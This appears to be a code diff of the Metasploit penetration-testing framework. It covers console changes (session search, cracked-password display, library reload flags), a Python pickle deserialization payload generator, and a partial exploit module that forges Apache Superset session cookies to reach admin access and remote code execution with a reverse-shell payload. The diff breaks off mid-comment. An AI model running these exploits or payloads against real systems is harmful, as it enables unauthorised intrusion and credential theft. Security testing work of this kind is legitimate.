SESSION_TYPE = 'session_type'
SESSION_ID = 'session_id'
LAST_CHECKIN = 'last_checkin'
LESS_THAN = 'less_than'
GREATER_THAN = 'greater_than'
VALID_SESSION_SEARCH_PARAMS =
[
LAST_CHECKIN,
SESSION_ID,
SESSION_TYPE
]
VALID_OPERATORS =
[
LESS_THAN,
GREATER_THAN
]
private_constant :VALID_SESSION_SEARCH_PARAMS
private_constant :VALID_OPERATORS
private_constant :SESSION_TYPE
private_constant :SESSION_ID
private_constant :LAST_CHECKIN
private_constant :GREATER_THAN
private_constant :LESS_THAN
# Returns the list of commands supported by this command dispatcher
def commands
{
@@ -1519,7 +1544,7 @@ class Core
unless sid.nil? || method == 'interact'
session_list = build_range_array(sid)
if session_list.blank?
print_error("Please specify valid session identifier(s)")
print_error('Please specify valid session identifier(s)')
return false
end
end
@@ -1528,6 +1553,20 @@ class Core
print_warning("Database not connected; list of inactive sessions unavailable")
end
if search_term
matching_sessions = get_matching_sessions(search_term)
# check for nil value indicating validation has found invalid input in search helper functions. Error will have been printed already
unless matching_sessions
return nil
end
if matching_sessions.empty?
print_error('No matching sessions.')
return nil
end
end
last_known_timeout = nil
# Now, perform the actual method
@@ -1537,9 +1576,12 @@ class Core
print_error("No command specified!")
return false
end
cmds.each do |cmd|
if sid
sessions = session_list
elsif matching_sessions
sessions = matching_sessions
else
sessions = framework.sessions.keys.sort
end
@@ -1649,20 +1691,27 @@ class Core
end
end
when 'killall'
print_status("Killing all sessions...")
framework.sessions.each_sorted.reverse_each do |s|
session = framework.sessions.get(s)
if session
if session.respond_to?(:response_timeout)
last_known_timeout = session.response_timeout
session.response_timeout = response_timeout
end
begin
session.kill
ensure
if session.respond_to?(:response_timeout) && last_known_timeout
session.response_timeout = last_known_timeout
end
if matching_sessions
print_status('Killing matching sessions...')
print_line
print(Serializer::ReadableText.dump_sessions(framework, show_active: show_active, show_inactive: show_inactive, show_extended: show_extended, verbose: verbose, sessions: matching_sessions))
print_line
else
matching_sessions = framework.sessions
print_status('Killing all sessions...')
end
matching_sessions.each do |_session_id, session|
next unless session
if session.respond_to?(:response_timeout)
last_known_timeout = session.response_timeout
session.response_timeout = response_timeout
end
begin
session.kill
ensure
if session.respond_to?(:response_timeout) && last_known_timeout
session.response_timeout = last_known_timeout
end
end
end
@@ -1754,7 +1803,7 @@ class Core
end
when 'list', 'list_inactive', nil
print_line
print(Serializer::ReadableText.dump_sessions(framework, show_active: show_active, show_inactive: show_inactive, show_extended: show_extended, verbose: verbose, search_term: search_term))
print(Serializer::ReadableText.dump_sessions(framework, show_active: show_active, show_inactive: show_inactive, show_extended: show_extended, verbose: verbose, sessions: matching_sessions))
print_line
when 'name'
if session_name.blank?
@@ -1793,6 +1842,184 @@ class Core
true
end
def get_matching_sessions(search_term)
matching_sessions = {}
terms = search_term.split
id_searches = []
type_searches = []
checkin_searches = []
searches = []
# Group search terms by what's being searched for
terms.each do |term|
case term.split(':').first
when SESSION_ID
id_searches << term
when SESSION_TYPE
type_searches << term
when LAST_CHECKIN
checkin_searches << term
else
print_error("Please provide valid search term. Given: #{term.split(':').first}")
return nil
end
end
# Group results by search term - OR filters
[id_searches, type_searches].each do |search|
next if search.empty?
id_matches = {}
search.each do |term|
matches = filter_sessions_by_search(term)
return unless matches
id_matches = id_matches.merge(matches)
end
searches << id_matches
end
# Retrieve checkin search results. AND filter with a max length of 2
unless checkin_searches.empty?
unless validate_checkin_searches(checkin_searches)
return
end
checkin_matches = filter_sessions_by_search(checkin_searches.first)
if checkin_searches[1]
matches = filter_sessions_by_search(checkin_searches[1])
checkin_matches = checkin_matches.select { |session_id, session| matches[session_id] == session }
end
searches << checkin_matches
end
# AND all the results together for final session list
if searches.empty?
print_error('Please provide a valid search query.')
return nil
else
matching_sessions = searches.first
searches[1..].each do |result_set|
matching_sessions = matching_sessions.select { |session_id, session| result_set[session_id] == session }
end
end
matching_sessions
end
def validate_checkin_searches(checkin_searches)
checkin_searches.each do |search_term|
unless search_term.split(':').length == 3
print_error('Please only specify last_checkin, before or after, and a time. Ex: last_checkin:before:1m30s')
return false
end
time_value = search_term.split(':')[2]
time_unit_string = time_value.gsub(/[^a-zA-Z]/, '')
unless time_unit_string == time_unit_string.squeeze
print_error('Please do not provide duplicate time units in your query')
return false
end
operator = checkin_searches[0].split(':')[1]
unless VALID_OPERATORS.include?(operator)
print_error("Please specify less_than or greater_than for checkin query. Ex: last_checkin:less_than:1m30s. Given: #{operator}")
return false
end
end
if checkin_searches.length > 2
print_error("Too many checkin searches. Max: 2. Given: #{checkin_searches.length}")
return false
elsif checkin_searches.length == 2
_, operator1, value1 = checkin_searches[0].split(':')
_, operator2, value2 = checkin_searches[1].split(':')
unless VALID_OPERATORS.include?(operator1) && VALID_OPERATORS.include?(operator2)
print_error('last_checkin can only be searched for using before or after. Ex: last_checkin:before:1m30s')
return false
end
if operator1 == operator2
print_error("Cannot search for last_checkin with two #{operator1} arguments.")
return false
end
if (operator1 == GREATER_THAN && parse_duration(value2) < parse_duration(value1)) || (operator1 == LESS_THAN && parse_duration(value1) < parse_duration(value2))
print_error('After value must be a larger duration than the before value.')
return false
end
end
true
end
def filter_sessions_by_search(search_term)
matching_sessions = {}
field, = search_term.split(':')
framework.sessions.each do |session_id, session|
if !session.respond_to?(:last_checkin) && (field == LAST_CHECKIN)
next
end
matches_search = evaluate_search_criteria(session, search_term)
return nil if matches_search.nil?
case field
when LAST_CHECKIN
if session.last_checkin && evaluate_search_criteria(session, search_term)
matching_sessions[session_id] = session
end
when SESSION_TYPE, SESSION_ID
matching_sessions[session_id] = session if evaluate_search_criteria(session, search_term)
else
print_error("Unrecognized search term: #{field}")
return nil
end
end
matching_sessions
end
def evaluate_search_criteria(session, search_term)
field, operator, value = search_term.split(':')
case field
when LAST_CHECKIN
last_checkin_time = session.last_checkin
offset = parse_duration(value)
return nil unless offset
threshold_time = Time.now - offset
case operator
when GREATER_THAN
return threshold_time > last_checkin_time
when LESS_THAN
return threshold_time < last_checkin_time
end
when SESSION_ID
return session.sid.to_s == operator
when SESSION_TYPE
return session.type.casecmp?(operator)
end
end
def parse_duration(duration)
total_time = 0
time_tokens = duration.scan(/(?:\d+\.?\d*|\.\d+)/).zip(duration.scan(/[a-zA-Z]+/))
time_tokens.each do |value, unit|
if unit.nil? || value.nil?
print_error('Please specify both time units and amounts')
return nil
end
case unit.downcase
when 'd'
total_time += value.to_f * 86400
when 'h'
total_time += value.to_f * 3600
when 'm'
total_time += value.to_f * 60
when 's'
total_time += value.to_f
else
print_error("Unrecognized time format: #{value}")
return nil
end
end
total_time.to_i
end
#
# Tab completion for the sessions command
#
+38 -10
View File
@@ -337,7 +337,7 @@ class Creds
set_rhosts = false
truncate = true
cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type', 'JtR Format' ]
cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type', 'JtR Format', 'cracked_password' ]
delete_count = 0
search_term = nil
@@ -444,8 +444,10 @@ class Creds
}
opts[:workspace] = framework.db.workspace
query = framework.db.creds(opts)
cred_cores = framework.db.creds(opts).to_a
cred_cores.sort_by!(&:id)
matched_cred_ids = []
cracked_cred_ids = []
if output_file&.ends_with?('.hcat')
output_file = ::File.open(output_file, 'wb')
@@ -458,8 +460,9 @@ class Creds
tbl = Rex::Text::Table.new(tbl_opts)
end
filtered_query(query, opts, origin_ranges, host_ranges) do |core, service, origin|
filter_cred_cores(cred_cores, opts, origin_ranges, host_ranges) do |core, service, origin, cracked_password_core|
matched_cred_ids << core.id
cracked_cred_ids << cracked_password_core.id if cracked_password_core.present?
if output_file && output_formatter
formatted = output_formatter.call(core)
@@ -493,7 +496,7 @@ class Creds
rhosts << host unless host.blank?
service_info = build_service_info(service)
end
cracked_password_val = cracked_password_core&.private&.data.to_s
tbl << [
host,
origin,
@@ -502,7 +505,8 @@ class Creds
private_val,
realm_val,
human_val, #private type
jtr_val
jtr_val,
cracked_password_val
]
end
end
@@ -516,7 +520,7 @@ class Creds
end
if mode == :delete
result = framework.db.delete_credentials(ids: matched_cred_ids.uniq)
result = framework.db.delete_credentials(ids: matched_cred_ids.concat(cracked_cred_ids).uniq)
delete_count = result.size
end
@@ -547,8 +551,31 @@ class Creds
protected
def filtered_query(query, opts, origin_ranges, host_ranges)
query.each do |core|
# @param [Array<Metasploit::Credential::Core>] cores The list of cores to filter
# @param [Hash] opts
# @param [Array<Rex::Socket::RangeWalker>] origin_ranges
# @param [Array<Rex::Socket::RangeWalker>] host_ranges
# @yieldparam [Metasploit::Credential::Core] core
# @yieldparam [Mdm::Service] service
# @yieldparam [Metasploit::Credential::Origin] origin
# @yieldparam [Metasploit::Credential::Origin::CrackedPassword] cracked_password_core
def filter_cred_cores(cores, opts, origin_ranges, host_ranges)
# Some creds may have been cracked that exist outside of the filtered cores list, let's resolve them all to show the cracked value
cores_by_id = cores.each_with_object({}) { |core, hash| hash[core.id] = core }
# Map of any originating core ids that have been cracked; The value is cracked core value
cracked_core_id_to_cracked_value = cores.each_with_object({}) do |core, hash|
next unless core.origin.kind_of?(Metasploit::Credential::Origin::CrackedPassword)
hash[core.origin.metasploit_credential_core_id] = core
end
cores.each do |core|
# Skip the cracked password if it's planned to be shown on the originating core row in a separate column
is_duplicate_cracked_password_row = core.origin.kind_of?(Metasploit::Credential::Origin::CrackedPassword) &&
cracked_core_id_to_cracked_value.key?(core.origin.metasploit_credential_core_id) &&
# The core might exist outside of the currently available cores to render
cores_by_id.key?(core.origin.metasploit_credential_core_id)
next if is_duplicate_cracked_password_row
# Exclude non-blank username creds if that's what we're after
if opts[:user] == '' && core.public && !(core.public.username.blank?)
next
@@ -572,11 +599,12 @@ class Creds
next
end
cracked_password_core = cracked_core_id_to_cracked_value.fetch(core.id, nil)
if core.logins.empty?
service = service_from_origin(core)
next if service.nil? && host_ranges.present? # If we're filtering by login IP and we're here there's no associated login, so skip
yield core, service, origin
yield core, service, origin, cracked_password_core
else
core.logins.each do |login|
service = framework.db.services(id: login.service_id).first
@@ -588,7 +616,7 @@ class Creds
next
end
yield core, service, origin
yield core, service, origin, cracked_password_core
end
end
end
@@ -22,8 +22,12 @@ class Evasion
'Evasion'
end
def cmd_run(*args)
opts = {
def cmd_run(*args, opts: {})
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
driver.run_single('reload_lib -a')
end
module_opts = {
'Encoder' => mod.datastore['ENCODER'],
'Payload' => mod.datastore['PAYLOAD'],
'Nop' => mod.datastore['NOP'],
@@ -32,7 +36,7 @@ class Evasion
}
begin
mod.run_simple(opts)
mod.run_simple(module_opts)
rescue ::Interrupt
print_error('Evasion interrupted by the console user')
rescue ::Exception => e
@@ -44,8 +48,14 @@ class Evasion
alias cmd_exploit cmd_run
def cmd_rerun(*args)
opts = {}
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
opts[:previously_reloaded] = true
end
if reload(true)
cmd_run(*args)
cmd_run(*args, opts: opts)
end
end
@@ -64,6 +74,7 @@ class Evasion
'-n' => [ framework.nops.map { |refname, mod| refname } ],
'-o' => [ true ],
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
'-r' => [ nil ],
'-t' => [ true ],
'-z' => [ nil ]
}
@@ -77,7 +88,11 @@ class Evasion
#
alias cmd_exploit_tabs cmd_run_tabs
def cmd_to_handler(*_args)
def cmd_to_handler(*args)
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
end
handler = framework.modules.create('exploit/multi/handler')
handler_opts = {
@@ -74,6 +74,7 @@ class Exploit
'-n' => [ framework.nops.map { |refname, mod| refname } ],
'-o' => [ true ],
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
'-r' => [ nil ],
'-t' => [ true ],
'-z' => [ nil ]
}
@@ -90,7 +91,11 @@ class Exploit
#
# Launches exploitation attempts.
#
def cmd_exploit(*args)
def cmd_exploit(*args, opts: {})
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
driver.run_single('reload_lib -a')
end
return false unless (args = parse_exploit_opts(args))
any_session = false
@@ -138,6 +143,7 @@ class Exploit
return false
end
driver.run_single('reload_lib -a') if args[:reload_libs]
if rhosts && has_rhosts_option
rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore)
@@ -234,9 +240,15 @@ class Exploit
# vulnerable.
#
def cmd_rcheck(*args)
opts = {}
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
opts[:previously_reloaded] = true
end
reload()
cmd_check(*args)
cmd_check(*args, opts: opts)
end
alias cmd_recheck cmd_rcheck
@@ -245,12 +257,18 @@ class Exploit
# Reloads an exploit module and launches an exploit.
#
def cmd_rexploit(*args)
return cmd_rexploit_help if args.include? "-h"
opts = {}
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
opts[:previously_reloaded] = true
end
return cmd_rexploit_help if args.include?('-h') || args.include?('--help')
# Stop existing job and reload the module
if reload(true)
# Delegate to the exploit command unless the reload failed
cmd_exploit(*args)
cmd_exploit(*args, opts: opts)
end
end
@@ -45,7 +45,11 @@ module Msf
)
end
def cmd_to_handler(*_args)
def cmd_to_handler(*args)
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
end
handler = framework.modules.create('exploit/multi/handler')
handler_opts = {
+12 -2
View File
@@ -47,9 +47,15 @@ class Post
# Reloads a post module and executes it
#
def cmd_rerun(*args)
opts = {}
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
opts[:previously_reloaded] = true
end
# Stop existing job and reload the module
if reload(true)
cmd_run(*args)
cmd_run(*args, opts: opts)
end
end
@@ -65,7 +71,11 @@ class Post
#
# Executes a post module
#
def cmd_run(*args, action: nil)
def cmd_run(*args, action: nil, opts: {})
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
driver.run_single('reload_lib -a')
end
return false unless (args = parse_run_opts(args, action: action))
jobify = args[:jobify]
@@ -17,11 +17,12 @@ module ModuleArgumentParsing
# Options which are standard and predictable across all modules
@@module_opts = Rex::Parser::Arguments.new(
['-h', '--help'] => [ false, 'Help banner.' ],
['-j', '--job'] => [ false, 'Run in the context of a job.' ],
['-J', '--foreground'] => [ false, 'Force running in the foreground, even if passive.' ],
['-o', '--options'] => [ true, 'A comma separated list of options in VAR=VAL format.', '<options>' ],
['-q', '--quiet'] => [ false, 'Run the module in quiet mode with no output' ]
['-h', '--help'] => [ false, 'Help banner.' ],
['-j', '--job'] => [ false, 'Run in the context of a job.' ],
['-J', '--foreground'] => [ false, 'Force running in the foreground, even if passive.' ],
['-o', '--options'] => [ true, 'A comma separated list of options in VAR=VAL format.', '<options>' ],
['-q', '--quiet'] => [ false, 'Run the module in quiet mode with no output' ],
['-r', '--reload-libs'] => [ false, 'Reload all libraries before running.' ]
)
@@module_opts_with_action_support = @@module_opts.merge(
@@ -41,7 +42,7 @@ module ModuleArgumentParsing
help_cmd = proc do |_result|
cmd_check_help
end
parse_opts(@@module_opts_with_action_support, args, help_cmd: help_cmd)&.slice(:datastore_options)
parse_opts(@@module_opts_with_action_support, args, help_cmd: help_cmd)&.slice(:datastore_options, :reload_libs)
end
def parse_run_opts(args, action: nil)
@@ -127,6 +128,8 @@ module ModuleArgumentParsing
end
when '-p'
result[:payload] = val
when '-r'
result[:reload_libs] = true
when '-t'
result[:target] = val.to_i
when '-z'
@@ -134,7 +134,11 @@ module ModuleCommandDispatcher
#
# Checks to see if a target is vulnerable.
#
def cmd_check(*args)
def cmd_check(*args, opts: {})
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
driver.run_single('reload_lib -a')
end
return false unless (args = parse_check_opts(args))
mod_with_opts = mod.replicant
@@ -243,6 +247,12 @@ module ModuleCommandDispatcher
# Reloads the active module
#
def cmd_reload(*args)
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
end
return cmd_reload_help if args.include?('-h') || args.include?('--help')
begin
reload
rescue
+30
View File
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
# Python deserialization Utility
module Msf
module Util
# Python deserialization class
class PythonDeserialization
# That could be in the future a list of payloads used to exploit the Python deserialization vulnerability.
PAYLOADS = {
# this payload will work with Python 3.x targets to execute Python code in place
py3_exec: proc do |python_code|
escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" }
%|c__builtin__\nexec\np0\n(V#{escaped}\np1\ntp2\nRp3\n.|
end
}
def self.payload(payload_name, command = nil)
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
PAYLOADS[payload_name.to_sym].call(command)
end
def self.payload_names
PAYLOADS.keys
end
end
end
end
+47 -8
View File
@@ -31,7 +31,7 @@ module MsfdbHelpers
else
print_error("Attempt to create DB socket file at Temporary Directory and `~/.msf4/db` failed. Possibly because they are mounted with NOEXEC flags. Database initialization failed.")
end
start
create_db_users(msf_pass, msftest_pass)
@@ -49,7 +49,7 @@ module MsfdbHelpers
f.puts "#!/bin/bash\necho exec"
end
File.chmod(0744, file_name)
if run_cmd(file_name)
File.open("#{@db}/postgresql.conf", 'a') do |f|
f.puts "unix_socket_directories = \'#{path}\'"
@@ -95,14 +95,25 @@ module MsfdbHelpers
end
print "Starting database at #{@db}..."
run_cmd("pg_ctl -o \"-p #{@options[:db_port]}\" -D #{@db.shellescape} -l #{@db.shellescape}/log start")
sleep(2)
if run_cmd("pg_ctl -o \"-p #{@options[:db_port]}\" -D #{@db.shellescape} status") != 0
puts 'failed'.red.bold.to_s
false
else
pg_ctl_spawn_cmd = "pg_ctl -o \"-p #{@options[:db_port]}\" -D #{@db.shellescape} -l #{@db.shellescape}/log start &"
puts "spawn_cmd: #{pg_ctl_spawn_cmd}" if @options[:debug]
pg_ctl_pid = Process.spawn(pg_ctl_spawn_cmd)
Process.detach(pg_ctl_pid)
is_database_running = retry_until_truthy(timeout: 60) do
status == DatabaseStatus::RUNNING
end
if is_database_running
puts 'success'.green.bold.to_s
true
else
begin
Process.kill(:KILL, pg_ctl_pid)
rescue => e
puts "Failed to kill pg_ctl_pid=#{pg_ctl_pid} - #{e.class} #{e.message}" if @options[:debug]
end
puts 'failed'.red.bold.to_s
false
end
end
@@ -159,5 +170,33 @@ module MsfdbHelpers
def self.requirements
%w[psql pg_ctl initdb createdb]
end
protected
def retry_until_truthy(timeout:)
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
ending_time = start_time + timeout
retry_count = 0
while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
result = yield
return result if result
retry_count += 1
remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
break if remaining_time_budget <= 0
delay = 2**retry_count
if delay >= remaining_time_budget
delay = remaining_time_budget
puts("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}") if @options[:debug]
else
puts("Sleeping for #{delay} seconds before attempting again") if @options[:debug]
end
sleep delay
end
nil
end
end
end
@@ -16,6 +16,7 @@ class MetasploitModule < Msf::Auxiliary
Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.
PHPass uses phpass which is 400 in hashcat.
Mediawiki is MD5 based and is 3711 in hashcat.
Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat
},
'Author' =>
[
@@ -35,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary
OptBool.new('ATLASSIAN',[false, 'Include Atlassian hashes', true]),
OptBool.new('MEDIAWIKI',[false, 'Include MediaWiki hashes', true]),
OptBool.new('PHPASS',[false, 'Include Wordpress/PHPass, Joomla, phpBB3 hashes', true]),
OptBool.new('PBKDF2',[false, 'Apache Superset, some Flask and Werkzeug apps hashes', true]),
OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]),
OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true])
]
@@ -113,6 +115,7 @@ class MetasploitModule < Msf::Auxiliary
hashes_regex = []
hashes_regex << 'PBKDF2-HMAC-SHA1' if datastore['ATLASSIAN']
hashes_regex << 'phpass' if datastore['PHPASS']
hashes_regex << 'pbkdf2-sha256' if datastore['PBKDF2']
hashes_regex << 'mediawiki' if datastore['MEDIAWIKI']
# array of arrays for cracked passwords.
@@ -36,7 +36,8 @@ class MetasploitModule < Msf::Auxiliary
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['exploit/linux/http/apache_superset_cookie_sig_rce']
},
'DisclosureDate' => '2023-04-25'
)
@@ -61,8 +61,10 @@ class MetasploitModule < Msf::Auxiliary
begin
socket = connect(false)
close_required = true
mysql_client = ::Mysql.connect(rhost, username, password, nil, rport, io: socket)
results << mysql_client
close_required = false
print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
@@ -76,6 +78,8 @@ class MetasploitModule < Msf::Auxiliary
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
ensure
socket.close if socket && close_required
end
# Short circuit if we already won
@@ -112,14 +116,18 @@ class MetasploitModule < Msf::Auxiliary
t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
close_required = true
s = connect(false)
mysql_client = ::Mysql.connect(rhost, username, password, nil, rport, io: s)
print_good "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
results << mysql_client
close_required = false
rescue ::Mysql::AccessDeniedError
rescue ::Exception => e
print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
ensure
s.close if socket && close_required
end
end
@@ -0,0 +1,629 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Superset Signed Cookie RCE',
'Description' => %q{
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
set for that dashboard within Superset's database which will trigger the RCE.
An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # MSF module
'paradoxis', # original flask-unsign tool
'Spencer McIntyre', # MSF flask-unsign library
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery
],
'References' => [
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],
['URL', 'https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/'],
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],
['EDB', '51447'],
['CVE', '2023-27524'], # flask cookie
['CVE', '2023-37941'], # rce
['CVE', '2023-39265'] # mount superset's internal database
],
'Platform' => ['python'],
'Privileged' => false,
'Arch' => ARCH_PYTHON,
'Targets' => [
[ 'Automatic Target', {}]
],
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
},
'DisclosureDate' => '2023-09-06',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES],
'RelatedModules' => ['auxiliary/gather/apache_superset_cookie_sig_priv_esc']
}
)
)
register_options(
[
Opt::RPORT(8088),
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),
OptPath.new('SECRET_KEYS_FILE', [
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')
]),
OptString.new('DATABASE', [true, 'The superset database location', '/app/superset_home/superset.db'])
]
)
end
def check
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login/')
})
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'
unless res.body =~ /&#34;version_string&#34;: &#34;([\d.]+)&#34;/
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")
end
version = Rex::Version.new(Regexp.last_match(1))
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')
Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")
else
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")
end
end
def get_secret_key(cookie)
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
secret = secret.strip
vprint_status("#{peer} - Checking secret key: #{secret}")
unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
next
end
print_good("#{peer} - Found secret key: #{secret}")
return secret
end
nil
end
def validate_cookie(decoded_cookie, secret_key)
print_status("#{peer} - Attempting to resign with key: #{secret_key}")
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
'cookie' => "session=#{encoded_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401
print_bad("#{peer} - Cookie not accepted")
return nil
end
data = res.get_json_document
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
return encoded_cookie
end
def get_csrf_token
vprint_status('Grabbing CSRF token')
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login/'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/
@csrf_token = Regexp.last_match(1)
vprint_status("#{peer} - CSRF Token: #{@csrf_token}")
end
def login_and_priv_esc
get_csrf_token
print_status("#{peer} - Attempting login")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login/'),
'keep_cookies' => true,
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'csrf_token' => @csrf_token
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'
cookie = res.get_cookies.to_s
print_good("#{peer} - Logged in Cookie: #{cookie}")
# get the cookie value and strip off anything else
cookie = cookie.split('=')[1].gsub(';', '')
secret_key = get_secret_key(cookie)
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
decoded_cookie['user_id'] = datastore['ADMIN_ID']
print_status("#{peer} - Modified cookie: #{decoded_cookie}")
@admin_cookie = validate_cookie(decoded_cookie, secret_key)
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if @admin_cookie.nil?
end
def set_query_latest_query_id
vprint_status('Setting latest query id')
@client_id = Rex::Text.rand_text_alphanumeric(8, 12)
data = Rex::MIME::Message.new
data.add_part('"' + @client_id + '"', nil, nil, 'form-data; name="latest_query_id"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),
'keep_cookies' => true,
'cookie' => "session=#{@admin_cookie};",
'method' => 'PUT',
'data' => data.to_s,
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
end
def transform_hash(hash)
# Some background on transforming this hash:
# If we use python hashlib to generate the hash, it matches
# example output for password 'admin': $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
# hashlib: >>> pbkdf2_hmac('sha256', b'admin', b'CXsb59tSLZm9ABBN', our_app_iters).hex()
# 'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5'
# however, JTR doesn't like this: No password hashes loaded (see FAQ)
# hashid also doesn't: [+] Unknown hash
# the basis of this is the hex() makes it 64 characters, and we need 43 characters to be a real hash
# https://hashcat.net/forum/thread-7715.html is the same issue
# the solution is to take the value, unhex it, base64 it, remove =, and sub '+' for '.'. This is the same for the salt, except for unhex.
